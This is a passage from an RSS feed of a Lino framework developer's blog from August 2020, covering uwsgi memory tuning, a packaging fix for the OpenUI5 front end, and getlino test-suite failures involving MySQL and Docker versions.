&lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture generate one Django user group for each &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#term-user-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;user type&lt;/span&gt;&lt;/a&gt;
in Lino.&lt;/p&gt;
&lt;p&gt;I reviewed &lt;a class="reference external" href="https://dev.lino-framework.org/dev/about/auth.html#about-auth" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino has its own user management&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0825.html</guid><pubDate>Tue, 25 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, August 23, 2020</title><link>https://luc.lino-framework.org/blog/2020/0823.html</link><description>&lt;section id="sunday-august-23-2020"&gt;
&lt;h1&gt;Sunday, August 23, 2020&lt;a class="headerlink" href="#sunday-august-23-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="performance-on-sites-with-nginx"&gt;
&lt;h2&gt;Performance on sites with nginx&lt;a class="headerlink" href="#performance-on-sites-with-nginx" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;With Apache it was okay to have 10 Lino sites on a same server with 2 GB of RAM
and one core. With nginx it seems very slow. Is there something wrong in our
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;uwsgi.ini&lt;/span&gt;&lt;/code&gt; files?&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://uwsgi-docs.readthedocs.io/en/latest/tutorials/Django_and_nginx.html"&gt;https://uwsgi-docs.readthedocs.io/en/latest/tutorials/Django_and_nginx.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We have 5 supervisor tasks running on this server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo supervisorctl status
ejane-uwsgi                      RUNNING   pid 29808, uptime 0:14:17
jane-uwsgi                       RUNNING   pid 29810, uptime 0:14:17
libreoffice                      RUNNING   pid 29807, uptime 0:14:17
linod-jane                       RUNNING   pid 29809, uptime 0:14:17
mailman-uwsgi                    RUNNING   pid 29806, uptime 0:14:17
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;NB supervisor task linod-jane was not running because it had a newline at the
beginning of the file. Fixed.&lt;/p&gt;
&lt;p&gt;The free command reports only 200 MB of freed memory after restarting
supervisor. Here is the output before and after:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ free -h
              total        used        free      shared  buff/cache   available
Mem:          1,9Gi       1,7Gi        67Mi        23Mi        94Mi        29Mi
Swap:            0B          0B          0B

$ free -h
              total        used        free      shared  buff/cache   available
Mem:          1,9Gi       1,5Gi       135Mi        23Mi       259Mi       217Mi
Swap:            0B          0B          0B
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But these 200 MB might make a big difference when 1.5 of 1.9 GB are being used
all the time.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ps&lt;/span&gt; &lt;span class="pre"&gt;-o&lt;/span&gt; &lt;span class="pre"&gt;pid,user,%mem,command&lt;/span&gt; &lt;span class="pre"&gt;ax&lt;/span&gt; &lt;span class="pre"&gt;|&lt;/span&gt; &lt;span class="pre"&gt;sort&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;-k3&lt;/span&gt; &lt;span class="pre"&gt;-r&lt;/span&gt;&lt;/code&gt; shows that there are
indeed 10 processes for each Lino site, and each of them uses 6% of the total
available memory. The mailman suite is more polite: only two processes, and each
of them uses 2.5 and 1.8 % of available memory.&lt;/p&gt;
&lt;p&gt;I changed the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;uwsgi.ini&lt;/span&gt;&lt;/code&gt; files for jane and ejane as follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instead&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# buffer-size 10000  (commented this out)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The processes themselves didn’t get smaller, but having 4 of them instead of 20
is a big gain.  Jane on LF is very quick at the moment, quicker than Hobbit was
on SR.  But I just did a supervisor restart, so this needs to be observed.&lt;/p&gt;
&lt;p&gt;I also replaced pidfile by safe-pidfile ater reading &lt;a class="reference external" href="https://github.com/unbit/uwsgi-docs/issues/281"&gt;this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also did these changes in the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;uwsgi.ini&lt;/span&gt;&lt;/code&gt; template for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;
&lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also wondered whether maybe somebody is heavily stressing our server. I
installed &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;iftop&lt;/span&gt;&lt;/code&gt; after reading &lt;a class="reference external" href="https://linuxtechlab.com/top-7-commands-for-linux-network-traffic-monitoring/"&gt;this&lt;/a&gt;.
iftop shows that mail.laudate.ee quite busy, getting several requests per
second.  But that doesn’t seem to be a big problem.&lt;/p&gt;
&lt;p&gt;I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;apt&lt;/span&gt; &lt;span class="pre"&gt;autoremove&lt;/span&gt;&lt;/code&gt; because apt advised me so. autoremove gave these
warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dpkg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;removing&lt;/span&gt; &lt;span class="n"&gt;fonts&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/share/fonts/woff/font-awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;dpkg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;removing&lt;/span&gt; &lt;span class="n"&gt;fonts&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/share/fonts/truetype/font-awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;dpkg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;removing&lt;/span&gt; &lt;span class="n"&gt;fonts&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/share/fonts/svg/font-awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;dpkg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;removing&lt;/span&gt; &lt;span class="n"&gt;fonts&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/share/fonts/opentype/font-awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;dpkg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;removing&lt;/span&gt; &lt;span class="n"&gt;fonts&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/share/fonts/eot/font-awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0823.html</guid><pubDate>Sun, 23 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, August 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0822.html</link><description>&lt;section id="saturday-august-22-2020"&gt;
&lt;h1&gt;Saturday, August 22, 2020&lt;a class="headerlink" href="#saturday-august-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Ismail reported the following error when setting
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.default_ui" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_ui&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_openui5.openui5&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Aug&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="mi"&gt;99629&lt;/span&gt;
&lt;span class="n"&gt;Internal&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino/venv/lib/python3.8/site-packages/jinja2/loaders.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;load&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;TemplateNotFound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;jinja2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TemplateNotFound&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;openui5&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, I can reproduce the problem in a contributor environment as follows:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;ol class="arabic"&gt;
&lt;li&gt;&lt;p&gt;uninstall the dev version and install the pip version of lino_openui5&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;run the following:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;cms&lt;/span&gt;
&lt;span class="n"&gt;nano&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="c1"&gt;# change default_ui  from &amp;#39;lino_react.react&amp;#39; to &amp;#39;lino_openui5.openui5&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;runserver&lt;/span&gt;
&lt;span class="c1"&gt;# do a browser request&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;It must be a packaging problem since it works with the dev version.&lt;/p&gt;
&lt;p&gt;Indeed there is no &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-MANIFEST.in" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFEST.in&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  in the &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#openui5" title="(in Lino Developer Guide)"&gt;&lt;span&gt;OpenUI5 front end&lt;/span&gt;&lt;/a&gt; repository.&lt;/p&gt;
&lt;p&gt;I added a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-MANIFEST.in" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFEST.in&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and released version 20.8.1 to PyPI. But I didn’t
test locally before releasing to PyPI. It turned out that I had forgotten to
include the json files. So I needed a second release 20.8.2.  With this one it
works.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0822.html</guid><pubDate>Sat, 22 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Friday, August 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/0821.html</link><description>&lt;section id="friday-august-21-2020"&gt;
&lt;h1&gt;Friday, August 21, 2020&lt;a class="headerlink" href="#friday-august-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0821.html</guid><pubDate>Fri, 21 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 19, 2020</title><link>https://luc.lino-framework.org/blog/2020/0819.html</link><description>&lt;section id="wednesday-august-19-2020"&gt;
&lt;h1&gt;Wednesday, August 19, 2020&lt;a class="headerlink" href="#wednesday-august-19-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Aha, on my machine the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; test suite fails here:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Requirement&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;satisfied&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skipping&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;packaging&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;bleach&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;20.4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Requirement&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;satisfied&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skipping&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;six&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.9.0&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;bleach&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.15.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Requirement&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;satisfied&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skipping&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pyparsing&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.2&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;packaging&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;bleach&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2.4.7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Installing&lt;/span&gt; &lt;span class="n"&gt;collected&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;bleach&lt;/span&gt;
&lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;installed&lt;/span&gt; &lt;span class="n"&gt;bleach&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.1.5&lt;/span&gt;
&lt;span class="n"&gt;mysql&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;create user &amp;#39;cosi1&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;POzS7VPLwys&amp;#39;;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Change: the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.MySQL.run()&lt;/span&gt;&lt;/code&gt; method must not specify the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-p&lt;/span&gt;&lt;/code&gt;
option when we are running in batch.&lt;/p&gt;
&lt;p&gt;On travis (&lt;a class="reference external" href="https://travis-ci.com/github/lino-framework/getlino/builds/180007302"&gt;https://travis-ci.com/github/lino-framework/getlino/builds/180007302&lt;/a&gt;)
it fails for another reason:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;APIError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Bad&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;client version 1.39 is too new. Maximum supported API version is 1.38&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I first thought that this just means a little change in our &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pip3&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.38&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But no. This results in:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip3 install docker==1.38
ERROR: Could not find a version that satisfies the requirement docker==1.38 (from versions: 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.3.0, 2.4.0, 2.4.1, 2.4.2, 2.5.0, 2.5.1, 2.6.0, 2.6.1, 2.7.0, 3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.2.0, 3.2.1, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1, 3.6.0, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 4.0.0, 4.0.1, 4.0.2, 4.1.0, 4.2.0, 4.2.1, 4.2.2, 4.3.0)
ERROR: No matching distribution found for docker==1.38
The command &amp;quot;pip3 install docker==1.38&amp;quot; failed and exited with 1 during .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Ecosia found &lt;a class="reference external" href="https://medium.com/&amp;#64;gloriapalmagonzalez/apierror-400-client-error-bad-request-client-is-newer-than-server-client-api-version-1-26-c2b6ad976751"&gt;this article&lt;/a&gt;
and though I don’t understand Spanish, I saw that it suggests&lt;/p&gt;
